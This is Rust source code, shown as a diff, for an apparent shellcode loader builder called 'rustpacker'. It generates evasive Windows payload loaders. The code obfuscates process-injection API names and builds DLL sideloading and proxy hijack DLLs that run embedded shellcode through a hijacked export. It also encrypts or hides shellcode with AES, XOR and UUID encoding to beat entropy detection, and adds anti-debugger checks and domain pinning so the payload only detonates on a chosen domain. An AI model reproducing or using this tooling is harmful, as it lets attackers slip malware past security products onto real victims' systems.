r.insert("{{OBF_NT_OPEN_PROCESS}}", obfuscate_api_name("NtOpenProcess", api_key));
r.insert("{{OBF_NT_ALLOCATE_VIRTUAL_MEMORY}}", obfuscate_api_name("NtAllocateVirtualMemory", api_key));
r.insert("{{OBF_NT_WRITE_VIRTUAL_MEMORY}}", obfuscate_api_name("NtWriteVirtualMemory", api_key));
r.insert("{{OBF_NT_PROTECT_VIRTUAL_MEMORY}}", obfuscate_api_name("NtProtectVirtualMemory", api_key));
r.insert("{{OBF_NT_CREATE_THREAD_EX}}", obfuscate_api_name("NtCreateThreadEx", api_key));
r.insert("{{OBF_NT_QUEUE_APC_THREAD}}", obfuscate_api_name("NtQueueApcThread", api_key));
r.insert("{{OBF_NT_TEST_ALERT}}", obfuscate_api_name("NtTestAlert", api_key));
r.insert("{{OBF_NT_DELAY_EXECUTION}}", obfuscate_api_name("NtDelayExecution", api_key));
let _ = order; // reserved for future per-order defaults
r
}
fn apply_dll_format(replacements: &mut HashMap<&'static str, String>, main_rs_path: &Path) -> PathBuf {
let dll_cargo_conf = "[lib]\ncrate-type = [\"cdylib\"]";
replacements.insert("{{DLL_FORMAT}}", dll_cargo_conf.to_string());
let dll_main_fn = r#"
const DLL_PROCESS_ATTACH: u32 = 1;
const DLL_PROCESS_DETACH: u32 = 0;
#[no_mangle]
#[allow(non_snake_case, unused_variables, unreachable_patterns)]
extern "system" fn DllMain(dll_module: usize, call_reason: u32, _: *mut ()) -> bool {
match call_reason {
DLL_PROCESS_ATTACH => (),
DLL_PROCESS_DETACH => (),
_ => ()
}
true
}
#[no_mangle] pub extern "C" fn DllRegisterServer() { main() }
#[no_mangle] pub extern "C" fn DllGetClassObject() { main() }
#[no_mangle] pub extern "C" fn DllUnregisterServer() { main() }
#[no_mangle] pub extern "C" fn Run() { main() }
"#;
replacements.insert("{{DLL_MAIN}}", dll_main_fn.to_string());
let lib_rs_path = main_rs_path.with_file_name("lib.rs");
if let Err(e) = fs::rename(main_rs_path, &lib_rs_path) {
panic!("Error while renaming main.rs to lib.rs: {}", e);
}
lib_rs_path
}
/// DllSideload format: the chosen self-injection technique's `main()` becomes the body
/// of the hijacked export. DllMain is a passthrough. Proxy mode forwards non-hijacked
/// exports to the original DLL via a `.def` file.
fn apply_sideload_format(
replacements: &mut HashMap<&'static str, String>,
main_rs_path: &Path,
folder: &Path,
config: &crate::order::SideloadConfig,
) -> PathBuf {
if let Err(e) = sideload::apply(config, folder, replacements) {
panic!("Sideload generation failed: {e}");
}
let lib_rs_path = main_rs_path.with_file_name("lib.rs");
if let Err(e) = fs::rename(main_rs_path, &lib_rs_path) {
panic!("Error while renaming main.rs to lib.rs: {}", e);
}
lib_rs_path
}
fn apply_replacements(replacements: &HashMap<&'static str, String>, main_path: &Path, cargo_path: &Path) {
for (key, value) in replacements {
search_and_replace(main_path, key, value)
.unwrap_or_else(|e| crate::blog!("[!] Warning: template replace failed for {}: {}", key, e));
search_and_replace(cargo_path, key, value)
.unwrap_or_else(|e| crate::blog!("[!] Warning: cargo replace failed for {}: {}", key, e));
}
}
pub fn assemble(order: Order) -> PathBuf {
crate::blog!("[+] Assembling Rust code..");
let folder = create_root_folder(Path::new(OUTPUT_DIR)).expect("Failed to create output folder");
let src_dir = folder.join("src");
let mut ctx = BuildContext {
shellcode_path: &order.shellcode_path,
output_folder: folder.clone(),
src_dir: src_dir.clone(),
replacements: default_replacements(&order),
template_choice: None,
params: &order.params,
};
// 1. Injection technique picks the template + sets target_process.
let inj = techniques::find(&order.injection_id)
.unwrap_or_else(|| panic!("unknown injection: {}", order.injection_id));
inj.apply(&mut ctx).expect("injection apply failed");
let template_name = ctx.template_choice.expect("injection did not set template");
let template_path = PathBuf::from("templates").join(template_name).join(".");
copy_template(&template_path, &folder).expect("Failed to copy template");
// 2. Encryption technique writes the encrypted file + decryption replacements.
let enc = techniques::find(&order.encryption_id)
.unwrap_or_else(|| panic!("unknown encryption: {}", order.encryption_id));
enc.apply(&mut ctx).expect("encryption apply failed");
// 3. Each enabled evasion technique adds its replacements.
for ev_id in &order.evasions {
let ev = techniques::find(ev_id)
.unwrap_or_else(|| panic!("unknown evasion: {}", ev_id));
ev.apply(&mut ctx).expect("evasion apply failed");
}
let main_rs = src_dir.join("main.rs");
let cargo_toml = folder.join("Cargo.toml");
let target_file = match order.format {
OutputFormat::Exe => main_rs,
OutputFormat::Dll => apply_dll_format(&mut ctx.replacements, &main_rs),
OutputFormat::DllSideload => {
let config = order
.sideload
.as_ref()
.expect("DllSideload format requires a SideloadConfig in the Order");
apply_sideload_format(&mut ctx.replacements, &main_rs, &folder, config)
}
};
apply_replacements(&ctx.replacements, &target_file, &cargo_toml);
// Sanity check
let _ = Category::Encryption; // imported above, ensures `techniques` is in scope
crate::blog!("[+] Done assembling Rust code!");
folder
}
+45
View File
@@ -0,0 +1,45 @@
use std::path::Path;
pub fn read_shellcode(file_path: &Path) -> Vec<u8> {
crate::blog!("[+] Reading binary file..");
match std::fs::read(file_path) {
Ok(bytes) => {
crate::blog!("[+] Done reading binary file!");
bytes
}
Err(err) => panic!("Failed to read shellcode file {:?}: {}", file_path, err),
}
}
#[cfg(test)]
mod tests {
use super::*;
use std::fs;
#[test]
fn test_read_shellcode_content() {
let dir = std::env::temp_dir().join("rustpacker_test_reader");
fs::create_dir_all(&dir).unwrap();
let path = dir.join("test.bin");
let content: Vec<u8> = vec![0xDE, 0xAD, 0xBE, 0xEF];
fs::write(&path, &content).unwrap();
let result = read_shellcode(&path);
assert_eq!(result, content);
fs::remove_dir_all(&dir).unwrap();
}
#[test]
fn test_read_shellcode_empty() {
let dir = std::env::temp_dir().join("rustpacker_test_reader_empty");
fs::create_dir_all(&dir).unwrap();
let path = dir.join("empty.bin");
fs::write(&path, &[]).unwrap();
let result = read_shellcode(&path);
assert!(result.is_empty());
fs::remove_dir_all(&dir).unwrap();
}
}
+309
View File
@@ -0,0 +1,309 @@
//! DLL sideloading / proxying generator.
//!
//! * **Sideload mode** — DLL with stub exports + a hijacked export that
//! runs the embedded loader (`main()`). DllMain is a passthrough.
//! No original DLL needed; this is a pure replacement attack.
//!
//! * **Proxy mode** — Same hijack-export trigger, but non-hijacked exports
//! are forwarded to the original (renamed) DLL via a `.def` file. A
//! `dispatch_call` gateway in lib.rs ensures the payload runs once
//! (sync_lock-guarded) while genuine traffic continues. Pulls in
//! `dyncvoke` (git), `lazy_static`, and `obfstr`.
//!
//! The `apply()` entry point writes generated artifacts into `folder` and
//! mutates the `replacements` map. Designed to be called from `puzzle::assemble`
//! after the chosen injection template + encryption + evasions have done.
use crate::order::{SideloadConfig, SideloadMode};
use crate::pe_parser::{self, DllExport};
use anyhow::Context;
use std::collections::HashMap;
use std::fs;
use std::path::Path;
const CRATE_TYPE_CDYLIB: &str = "[lib]\ncrate-type = [\"cdylib\"]";
const PROXY_BUILD_RS: &str = r##"use std::{env, path::PathBuf};
fn main() {
if env::var("CARGO_CFG_TARGET_OS").unwrap_or_default() == "windows" {
let manifest_dir = env::var("CARGO_MANIFEST_DIR").unwrap();
let def_path = PathBuf::from(manifest_dir).join("proxy.def");
println!("cargo:rustc-link-arg=/DEF:{}", def_path.display());
println!("cargo:rerun-if-changed=proxy.def");
}
}
"##;
pub fn apply(
config: &SideloadConfig,
folder: &Path,
replacements: &mut HashMap<&'static str, String>,
) -> anyhow::Result<()> {
let exports = pe_parser::parse_exports(&config.target_dll)
.map_err(|e| anyhow::anyhow!("Failed to parse target DLL exports: {e}"))?;
let target_stem = pe_parser::dll_stem(&config.target_dll);
let src_dir = folder.join("src");
fs::create_dir_all(&src_dir).context("create src dir")?;
// 1. Force cdylib crate type.
replacements.insert("{{DLL_FORMAT}}", CRATE_TYPE_CDYLIB.to_string());
// 2. Generate forward.rs (stub functions for all non-hijacked exports).
let forward_rs = generate_forward_rs(&exports, &config.hijack_export);
fs::write(src_dir.join("forward.rs"), forward_rs).context("write forward.rs")?;
// 3. Build the lib.rs tail (DllMain + hijack export + optional dispatch_call + mod forward).
let dll_block = match config.mode {
SideloadMode::Sideload => sideload_block(&config.hijack_export),
SideloadMode::Proxy => {
let original_dll_path = original_path(config, &target_stem);
proxy_block(&config.hijack_export, &original_dll_path, exports.len())
}
};
replacements.insert("{{DLL_MAIN}}", dll_block);
// 4. Proxy-mode extras: build.rs + proxy.def + dyncvoke/lazy_static deps + import.
if matches!(config.mode, SideloadMode::Proxy) {
fs::write(folder.join("build.rs"), PROXY_BUILD_RS).context("write build.rs")?;
let forward_target = forward_target(config, &target_stem);
let def_body = generate_def(&exports, &config.hijack_export, &target_stem, &forward_target);
fs::write(folder.join("proxy.def"), def_body).context("write proxy.def")?;
// Merge extra deps into the {{DEPENDENCIES}} placeholder (encryption may have already
// populated it).
let existing_deps = replacements
.get("{{DEPENDENCIES}}")
.cloned()
.unwrap_or_default();
let extra = r#"lazy_static = "1.4"
dyncvoke = { git = "https://github.com/Whitecat18/Dyncvoke" }"#;
let merged_deps = if existing_deps.is_empty() {
extra.to_string()
} else {
format!("{existing_deps}\n{extra}")
};
replacements.insert("{{DEPENDENCIES}}", merged_deps);
// Append lazy_static import to {{IMPORTS}}.
let existing_imports = replacements
.get("{{IMPORTS}}")
.cloned()
.unwrap_or_default();
let new_imports = if existing_imports.is_empty() {
"use lazy_static::lazy_static;".to_string()
} else {
format!("{existing_imports}\nuse lazy_static::lazy_static;")
};
replacements.insert("{{IMPORTS}}", new_imports);
}
Ok(())
}
fn original_path(config: &SideloadConfig, target_stem: &str) -> String {
if config.use_absolute_path {
// Use the full target DLL path; escape backslashes for Rust string literal.
config.target_dll.display().to_string().replace('\\', "\\\\")
} else if !config.renamed.trim().is_empty() {
config.renamed.trim().to_string()
} else {
// Sensible default: "<stem>_orig.dll"
format!("{target_stem}_orig.dll")
}
}
fn forward_target(config: &SideloadConfig, target_stem: &str) -> String {
if config.use_absolute_path {
// .def forwarder uses the path without extension.
let p = config.target_dll.with_extension("");
p.display().to_string()
} else if !config.renamed.trim().is_empty() {
// Strip .dll suffix for .def forwarder.
Path::new(config.renamed.trim())
.file_stem()
.map(|s| s.to_string_lossy().into_owned())
.unwrap_or_else(|| format!("{target_stem}_orig"))
} else {
format!("{target_stem}_orig")
}
}
fn generate_forward_rs(exports: &[DllExport], hijack: &str) -> String {
let mut out = String::new();
out.push_str("// Auto-generated stub functions. The .def file (proxy mode) overrides these\n");
out.push_str("// with forwarders; in sideload mode they remain as no-ops so the DLL\n");
out.push_str("// still satisfies the host's GetProcAddress lookups.\n\n");
for export in exports {
if let Some(name) = &export.name {
if name != hijack {
out.push_str(&format!(
"#[no_mangle]\npub unsafe extern \"system\" fn {name}() {{}}\n"
));
}
}
}
out
}
fn sideload_block(hijack_export: &str) -> String {
format!(
r##"
const DLL_PROCESS_ATTACH: u32 = 1;
const DLL_PROCESS_DETACH: u32 = 0;
#[no_mangle]
#[allow(non_snake_case, unused_variables, unreachable_patterns)]
extern "system" fn DllMain(_dll: usize, reason: u32, _r: *mut ()) -> bool {{
match reason {{
DLL_PROCESS_ATTACH => (),
DLL_PROCESS_DETACH => (),
_ => ()
}}
true
}}
#[no_mangle]
#[allow(non_snake_case, unused_variables)]
pub unsafe extern "system" fn {hijack_export}(
_a1: u64, _a2: u64, _a3: u64, _a4: u64, _a5: u64, _a6: u64, _a7: u64, _a8: u64,
_a9: u64, _a10: u64, _a11: u64, _a12: u64, _a13: u64, _a14: u64, _a15: u64, _a16: u64,
_a17: u64, _a18: u64, _a19: u64, _a20: u64,
) -> u64 {{
main();
1
}}
mod forward;
"##
)
}
fn proxy_block(hijack_export: &str, original_dll_path: &str, num_exports: usize) -> String {
// The dispatch_call gateway runs main() once (sync_lock-guarded) then forwards
// calls to the original DLL via dyncvoke. Hijacked export = export_id 0.
format!(
r##"
const DLL_PROCESS_ATTACH: u32 = 1;
const DLL_PROCESS_DETACH: u32 = 0;
#[no_mangle]
#[allow(non_snake_case, unused_variables, unreachable_patterns)]
extern "system" fn DllMain(_dll: usize, reason: u32, _r: *mut ()) -> bool {{
match reason {{
DLL_PROCESS_ATTACH => (),
DLL_PROCESS_DETACH => (),
_ => ()
}}
true
}}
lazy_static! {{
static ref DLL_NAME: String = "{original_dll_path}".to_string();
}}
static mut RP_CALLBACK_TABLE: [usize; {num_exports}] = [0usize; {num_exports}];
static RP_SYNC_LOCK: std::sync::Mutex<i32> = std::sync::Mutex::new(0);
fn rp_dispatch_call(
a1: u64, a2: u64, a3: u64, a4: u64, a5: u64, a6: u64, a7: u64, a8: u64,
a9: u64, a10: u64, a11: u64, a12: u64, a13: u64, a14: u64, a15: u64, a16: u64,
a17: u64, a18: u64, a19: u64, a20: u64,
export_id: u32,
) -> u64 {{
{{
let mut guard = RP_SYNC_LOCK.lock().unwrap();
if *guard == 0 {{
*guard = 1;
drop(guard);
std::thread::spawn(|| {{ main(); }});
}}
}}
unsafe {{
if RP_CALLBACK_TABLE[export_id as usize] != 0 {{
let target: extern "system" fn(
u64, u64, u64, u64, u64, u64, u64, u64, u64, u64,
u64, u64, u64, u64, u64, u64, u64, u64, u64, u64,
) -> u64 = std::mem::transmute(RP_CALLBACK_TABLE[export_id as usize]);
return target(
a1, a2, a3, a4, a5, a6, a7, a8, a9, a10,
a11, a12, a13, a14, a15, a16, a17, a18, a19, a20,
);
}}
}}
let proc_name = match export_id {{
0 => "{hijack_export}".to_string(),
_ => String::new(),
}};
if proc_name.is_empty() {{
return 0;
}}
let dll_name = DLL_NAME.as_str();
let module_handle = dyncvoke::dyncvoke_core::load_library_a(dll_name);
if module_handle == 0 {{
return 0;
}}
let proc_addr = dyncvoke::dyncvoke_core::get_function_address(module_handle, &proc_name);
if proc_addr == 0 {{
return 0;
}}
unsafe {{
RP_CALLBACK_TABLE[export_id as usize] = proc_addr;
let target: extern "system" fn(
u64, u64, u64, u64, u64, u64, u64, u64, u64, u64,
u64, u64, u64, u64, u64, u64, u64, u64, u64, u64,
) -> u64 = std::mem::transmute(proc_addr);
return target(
a1, a2, a3, a4, a5, a6, a7, a8, a9, a10,
a11, a12, a13, a14, a15, a16, a17, a18, a19, a20,
);
}}
}}
#[no_mangle]
#[allow(non_snake_case, unused_variables)]
pub unsafe extern "system" fn {hijack_export}(
a1: u64, a2: u64, a3: u64, a4: u64, a5: u64, a6: u64, a7: u64, a8: u64,
a9: u64, a10: u64, a11: u64, a12: u64, a13: u64, a14: u64, a15: u64, a16: u64,
a17: u64, a18: u64, a19: u64, a20: u64,
) -> u64 {{
rp_dispatch_call(
a1, a2, a3, a4, a5, a6, a7, a8, a9, a10,
a11, a12, a13, a14, a15, a16, a17, a18, a19, a20,
0,
)
}}
mod forward;
"##
)
}
fn generate_def(
exports: &[DllExport],
hijack: &str,
target_stem: &str,
forward_target: &str,
) -> String {
let mut def = format!("LIBRARY {target_stem}\nEXPORTS\n");
for export in exports {
let Some(name) = &export.name else { continue };
if name == hijack {
// Hijacked export: no forwarder, lib.rs's hijack fn handles it.
def.push_str(&format!(" {name} @{}\n", export.ordinal));
} else {
def.push_str(&format!(
" {name}={forward_target}.{name} @{}\n",
export.ordinal
));
}
}
def
}
+47
View File
@@ -0,0 +1,47 @@
//! Mutable state passed into `Technique::apply` during build assembly.
use std::collections::HashMap;
use std::path::{Path, PathBuf};
/// Holds the in-progress build state. Techniques mutate this to:
/// - choose which template directory to copy (`set_template`)
/// - register placeholder substitutions (`set_replacement`)
/// - write files into the output's `src/` directory (`write_src_file`)
pub struct BuildContext<'a> {
pub shellcode_path: &'a Path,
pub output_folder: PathBuf,
pub src_dir: PathBuf,
pub replacements: HashMap<&'static str, String>,
pub template_choice: Option<&'static str>, // template folder name under `templates/`
pub params: &'a HashMap<String, String>, // scoped: "<technique_id>.<param_name>"
}
impl<'a> BuildContext<'a> {
pub fn set_template(&mut self, template_folder: &'static str) {
self.template_choice = Some(template_folder);
}
pub fn set_replacement(&mut self, key: &'static str, value: String) {
self.replacements.insert(key, value);
}
/// Concatenate `value` onto the existing replacement for `key` (or insert).
/// Used for multi-contributor placeholders like {{SANDBOX}} where each
/// evasion technique appends its own check.
pub fn append_replacement(&mut self, key: &'static str, value: String) {
self.replacements
.entry(key)
.and_modify(|v| {
if !v.is_empty() && !v.ends_with('\n') {
v.push('\n');
}
v.push_str(&value);
})
.or_insert(value);
}
pub fn param(&self, technique_id: &str, param_name: &str) -> Option<&str> {
let key = format!("{}.{}", technique_id, param_name);
self.params.get(&key).map(String::as_str)
}
}
+35
View File
@@ -0,0 +1,35 @@
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
use crate::tools::{random_aes_iv, random_aes_key};
use libaes::Cipher;
use std::fs;
pub struct Aes;
impl Technique for Aes {
fn meta(&self) -> &'static TechniqueMeta { &AES_META }
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
let key = random_aes_key();
let iv = random_aes_iv();
let shellcode = fs::read(ctx.shellcode_path)
.map_err(|e| anyhow::anyhow!("read shellcode: {e}"))?;
let cipher = Cipher::new_256(&key);
let encrypted = cipher.cbc_encrypt(&iv, &shellcode);
let out_path = ctx.src_dir.join("input.aes");
fs::write(&out_path, &encrypted)
.map_err(|e| anyhow::anyhow!("write input.aes: {e}"))?;
ctx.set_replacement("{{PATH_TO_SHELLCODE}}", "\"input.aes\"".to_string());
ctx.set_replacement("{{DECRYPTION_FUNCTION}}",
"fn aes_256_decrypt(buf: &[u8], key: &[u8; 32], iv: &[u8; 16]) -> Vec<u8> { let cipher = Cipher::new_256(key); cipher.cbc_decrypt(iv, buf) }".to_string());
ctx.set_replacement("{{MAIN}}", format!(
"let key: [u8;32] = {:?};\n let iv: [u8;16] = {:?};\n vec = aes_256_decrypt(&vec, &key, &iv);", key, iv
));
ctx.set_replacement("{{DEPENDENCIES}}", r#"libaes = "0.7""#.to_string());
ctx.set_replacement("{{IMPORTS}}", "use libaes::Cipher;".to_string());
Ok(())
}
}
pub use super::super::AES_META;
@@ -0,0 +1,7 @@
id = "aes"
display_name = "AES-256-CBC — random key per build"
description = "Encrypt shellcode with AES-256 in CBC mode using a random key + IV. Key and IV are embedded in the loader."
category = "encryption"
tags = []
requires = []
incompatible_with = []
+74
View File
@@ -0,0 +1,74 @@
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
use crate::tools::random_u8;
use std::fs;
pub struct Uuid;
impl Technique for Uuid {
fn meta(&self) -> &'static TechniqueMeta { &UUID_META }
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
let shellcode = fs::read(ctx.shellcode_path)
.map_err(|e| anyhow::anyhow!("read shellcode: {e}"))?;
let original_len = shellcode.len();
let encoded = uuid_encode(&shellcode);
let xor_key = non_zero_random_key();
let masked: Vec<u8> = encoded.bytes().map(|b| b ^ xor_key).collect();
let out_path = ctx.src_dir.join("input.uuid");
fs::write(&out_path, &masked)
.map_err(|e| anyhow::anyhow!("write input.uuid: {e}"))?;
let decryption_function = "fn unmask(buf: &mut Vec<u8>, key: u8) { for b in buf.iter_mut() { *b ^= key; } }
fn hex_to_byte(h: u8, l: u8) -> u8 {
fn val(c: u8) -> u8 { match c { b'0'..=b'9' => c - b'0', b'a'..=b'f' => c - b'a' + 10, b'A'..=b'F' => c - b'A' + 10, _ => 0 } }
(val(h) << 4) | val(l)
}
fn uuid_decode(buf: &[u8]) -> Vec<u8> {
let mut result = Vec::new();
let mut i = 0;
while i < buf.len() {
if buf[i] == b'-' || buf[i] == b'\\n' || buf[i] == b'\\r' { i += 1; continue; }
if i + 1 < buf.len() { result.push(hex_to_byte(buf[i], buf[i+1])); i += 2; } else { break; }
}
result
}".to_string();
ctx.set_replacement("{{PATH_TO_SHELLCODE}}", "\"input.uuid\"".to_string());
ctx.set_replacement("{{DECRYPTION_FUNCTION}}", decryption_function);
ctx.set_replacement("{{MAIN}}", format!(
"unmask(&mut vec, 0x{:02x});\n vec = uuid_decode(&vec);\n vec.truncate({});",
xor_key, original_len
));
ctx.set_replacement("{{DEPENDENCIES}}", String::new());
ctx.set_replacement("{{IMPORTS}}", String::new());
Ok(())
}
}
fn non_zero_random_key() -> u8 {
loop { let k = random_u8(); if k != 0 { return k; } }
}
fn bytes_to_uuid(chunk: &[u8; 16]) -> String {
format!(
"{:02x}{:02x}{:02x}{:02x}-{:02x}{:02x}-{:02x}{:02x}-{:02x}{:02x}-{:02x}{:02x}{:02x}{:02x}{:02x}{:02x}",
chunk[0], chunk[1], chunk[2], chunk[3],
chunk[4], chunk[5], chunk[6], chunk[7],
chunk[8], chunk[9], chunk[10], chunk[11],
chunk[12], chunk[13], chunk[14], chunk[15]
)
}
fn uuid_encode(shellcode: &[u8]) -> String {
let mut padded = shellcode.to_vec();
let remainder = padded.len() % 16;
if remainder != 0 { padded.resize(padded.len() + (16 - remainder), 0); }
padded.chunks_exact(16)
.map(|chunk| { let arr: [u8; 16] = chunk.try_into().unwrap(); bytes_to_uuid(&arr) })
.collect::<Vec<String>>()
.join("\n")
}
pub use super::super::UUID_META;
@@ -0,0 +1,7 @@
id = "uuid"
display_name = "UUID encoding — payload hidden as UUID strings"
description = "Encode shellcode as a list of UUID strings, then XOR-mask the result. Reduces entropy detection."
category = "encryption"
tags = []
requires = []
incompatible_with = []
+39
View File
@@ -0,0 +1,39 @@
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
use crate::tools::random_u8;
use std::fs;
pub struct Xor;
impl Technique for Xor {
fn meta(&self) -> &'static TechniqueMeta { &XOR_META }
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
let key = non_zero_random_key();
let shellcode = fs::read(ctx.shellcode_path)
.map_err(|e| anyhow::anyhow!("read shellcode: {e}"))?;
let encrypted: Vec<u8> = shellcode.iter().map(|b| b ^ key).collect();
let out_path = ctx.src_dir.join("input.xor");
fs::write(&out_path, &encrypted)
.map_err(|e| anyhow::anyhow!("write input.xor: {e}"))?;
ctx.set_replacement("{{PATH_TO_SHELLCODE}}", "\"input.xor\"".to_string());
ctx.set_replacement("{{DECRYPTION_FUNCTION}}",
"fn xor_decode(buf: &[u8], key: u8) -> Vec<u8> { buf.iter().map(|x| x ^ key).collect() }".to_string());
ctx.set_replacement("{{MAIN}}", format!("vec = xor_decode(&vec, {});", key));
ctx.set_replacement("{{DEPENDENCIES}}", String::new());
ctx.set_replacement("{{IMPORTS}}", String::new());
Ok(())
}
}
fn non_zero_random_key() -> u8 {
loop {
let k = random_u8();
if k != 0 { return k; }
}
}
// XOR_META declared in the generated registry.rs (build.rs reads technique.toml).
// We re-export it here so users can `use crate::techniques::encryption::xor::XOR_META;`.
pub use super::super::XOR_META;
@@ -0,0 +1,7 @@
id = "xor"
display_name = "XOR — single-byte key (fast, trivial entropy)"
description = "XOR each shellcode byte with a random non-zero byte. Lightweight, easy to detect in entropy analysis."
category = "encryption"
tags = []
requires = []
incompatible_with = []
@@ -0,0 +1,27 @@
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
pub struct AntiDebugCheckRemote;
impl Technique for AntiDebugCheckRemote {
fn meta(&self) -> &'static TechniqueMeta { &ANTI_DEBUG_CHECK_REMOTE_META }
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
let snippet = r#"fn evasion_anti_debug_check_remote() {
unsafe {
let mut present: i32 = 0;
let _ = winapi::um::debugapi::CheckRemoteDebuggerPresent(
winapi::um::processthreadsapi::GetCurrentProcess(),
&mut present,
);
if present != 0 {
winapi::um::processthreadsapi::ExitProcess(0);
}
}
}
evasion_anti_debug_check_remote();"#;
ctx.append_replacement("{{SANDBOX}}", snippet.to_string());
Ok(())
}
}
pub use super::super::ANTI_DEBUG_CHECK_REMOTE_META;
@@ -0,0 +1,7 @@
id = "anti_debug_check_remote"
display_name = "CheckRemoteDebuggerPresent"
description = "Exit if a kernel debugger is attached. Detected via the documented Win32 API."
category = "evasion"
tags = ["anti_debug"]
requires = []
incompatible_with = []
@@ -0,0 +1,44 @@
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
pub struct AntiDebugProcessDebugPort;
impl Technique for AntiDebugProcessDebugPort {
fn meta(&self) -> &'static TechniqueMeta { &ANTI_DEBUG_PROCESS_DEBUG_PORT_META }
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
let snippet = r#"fn evasion_anti_debug_debug_port() {
unsafe {
type NtQueryInfoProc = unsafe extern "system" fn(
winapi::shared::ntdef::HANDLE,
u32,
*mut isize,
u32,
*mut u32,
) -> i32;
let h = winapi::um::libloaderapi::GetModuleHandleA(b"ntdll.dll\0".as_ptr() as *const i8);
if h.is_null() { return; }
let name = b"NtQueryInformationProcess\0";
let p = winapi::um::libloaderapi::GetProcAddress(h, name.as_ptr() as *const i8);
if p.is_null() { return; }
let f: NtQueryInfoProc = std::mem::transmute(p);
let mut debug_port: isize = 0;
let mut ret_len: u32 = 0;
let status = f(
winapi::um::processthreadsapi::GetCurrentProcess(),
7, // ProcessDebugPort
&mut debug_port,
core::mem::size_of::<isize>() as u32,
&mut ret_len,
);
if status >= 0 && debug_port == -1 {
winapi::um::processthreadsapi::ExitProcess(0);
}
}
}
evasion_anti_debug_debug_port();"#;
ctx.append_replacement("{{SANDBOX}}", snippet.to_string());
Ok(())
}
}
pub use super::super::ANTI_DEBUG_PROCESS_DEBUG_PORT_META;
@@ -0,0 +1,7 @@
id = "anti_debug_process_debug_port"
display_name = "NtQueryInformationProcess · ProcessDebugPort"
description = "Query the kernel debug port (class 7). A value of -1 means a debugger is attached."
category = "evasion"
tags = ["anti_debug"]
requires = []
incompatible_with = []
@@ -0,0 +1,30 @@
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
pub struct AntiDebugTeb;
impl Technique for AntiDebugTeb {
fn meta(&self) -> &'static TechniqueMeta { &ANTI_DEBUG_TEB_META }
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
let snippet = r#"fn evasion_anti_debug_teb() {
let being_debugged: u32;
unsafe {
std::arch::asm!(
"mov {peb}, gs:[0x60]",
"movzx {bd:e}, byte ptr [{peb} + 0x02]",
peb = out(reg) _,
bd = out(reg) being_debugged,
options(nostack, preserves_flags),
);
}
if being_debugged != 0 {
unsafe { winapi::um::processthreadsapi::ExitProcess(0) };
}
}
evasion_anti_debug_teb();"#;
ctx.append_replacement("{{SANDBOX}}", snippet.to_string());
Ok(())
}
}
pub use super::super::ANTI_DEBUG_TEB_META;
@@ -0,0 +1,7 @@
id = "anti_debug_teb"
display_name = "TEB BeingDebugged byte"
description = "Read gs:[0x60] → PEB.BeingDebugged. Cheapest debugger check, no API calls."
category = "evasion"
tags = ["anti_debug"]
requires = []
incompatible_with = []
@@ -0,0 +1,39 @@
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
pub struct AntiDebugUnhandledFilter;
impl Technique for AntiDebugUnhandledFilter {
fn meta(&self) -> &'static TechniqueMeta { &ANTI_DEBUG_UNHANDLED_FILTER_META }
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
let snippet = r#"fn evasion_anti_debug_unhandled_filter() {
extern "system" fn flt(info: *const winapi::um::winnt::EXCEPTION_POINTERS) -> i32 {
unsafe {
let ctx = &mut *(*info).ContextRecord;
ctx.Rip += 3;
}
-1
}
unsafe {
let prev = winapi::um::errhandlingapi::SetUnhandledExceptionFilter(Some(flt));
let mut is_debugged: u8 = 1;
std::arch::asm!(
"int 3",
"jmp 2f",
"mov {0}, 0",
"2:",
inout(reg_byte) is_debugged,
);
winapi::um::errhandlingapi::SetUnhandledExceptionFilter(prev);
if is_debugged == 1 {
winapi::um::processthreadsapi::ExitProcess(0);
}
}
}
evasion_anti_debug_unhandled_filter();"#;
ctx.append_replacement("{{SANDBOX}}", snippet.to_string());
Ok(())
}
}
pub use super::super::ANTI_DEBUG_UNHANDLED_FILTER_META;
@@ -0,0 +1,7 @@
id = "anti_debug_unhandled_filter"
display_name = "SetUnhandledExceptionFilter · int3 trick"
description = "Raise INT3. If our unhandled filter runs no debugger is present; if the breakpoint is swallowed silently, exit."
category = "evasion"
tags = ["anti_debug"]
requires = []
incompatible_with = []
+38
View File
@@ -0,0 +1,38 @@
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
pub struct DomainPin;
impl Technique for DomainPin {
fn meta(&self) -> &'static TechniqueMeta { &DOMAIN_PIN_META }
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
let expected = ctx.param("domain_pin", "domain").unwrap_or("");
if expected.is_empty() {
// user enabled the check but didn't fill in a domain
return Ok(());
}
let sandbox_function = format!(
"fn evasion_domain_pin_get_name() -> Option<String> {{
let mut size: u32 = 256;
let mut buffer: Vec<u16> = vec![0; size as usize];
let success = unsafe {{ winapi::um::sysinfoapi::GetComputerNameExW(winapi::um::sysinfoapi::ComputerNameDnsDomain, buffer.as_mut_ptr(), &mut size) }};
if success == 0 || size == 0 {{ return None; }}
let domain_name = String::from_utf16(&buffer[..size as usize]).map(|s| s.trim_end_matches('\\0').to_string()).ok()?;
if domain_name.is_empty() {{ return None; }}
Some(domain_name)
}}
fn evasion_domain_pin() {{
match evasion_domain_pin_get_name() {{
Some(domain) => {{ if !domain.as_str().eq_ignore_ascii_case(\"{0}\") {{ std::process::exit(0); }} }}
None => {{ std::process::exit(0); }}
}}
}}
evasion_domain_pin();", expected);
ctx.append_replacement("{{SANDBOX}}", sandbox_function);
Ok(())
}
}
pub use super::super::DOMAIN_PIN_META;
@@ -0,0 +1,13 @@
id = "domain_pin"
display_name = "Domain pinning — only detonate on the named AD domain"
description = "On startup, query the machine's DNS domain (GetComputerNameExW). Panic-exit if it does not match the expected value."
category = "evasion"
tags = []
requires = []
incompatible_with = []
[[params]]
name = "domain"
kind = "text"
label = "Expected domain"
default = ""
+44
View File
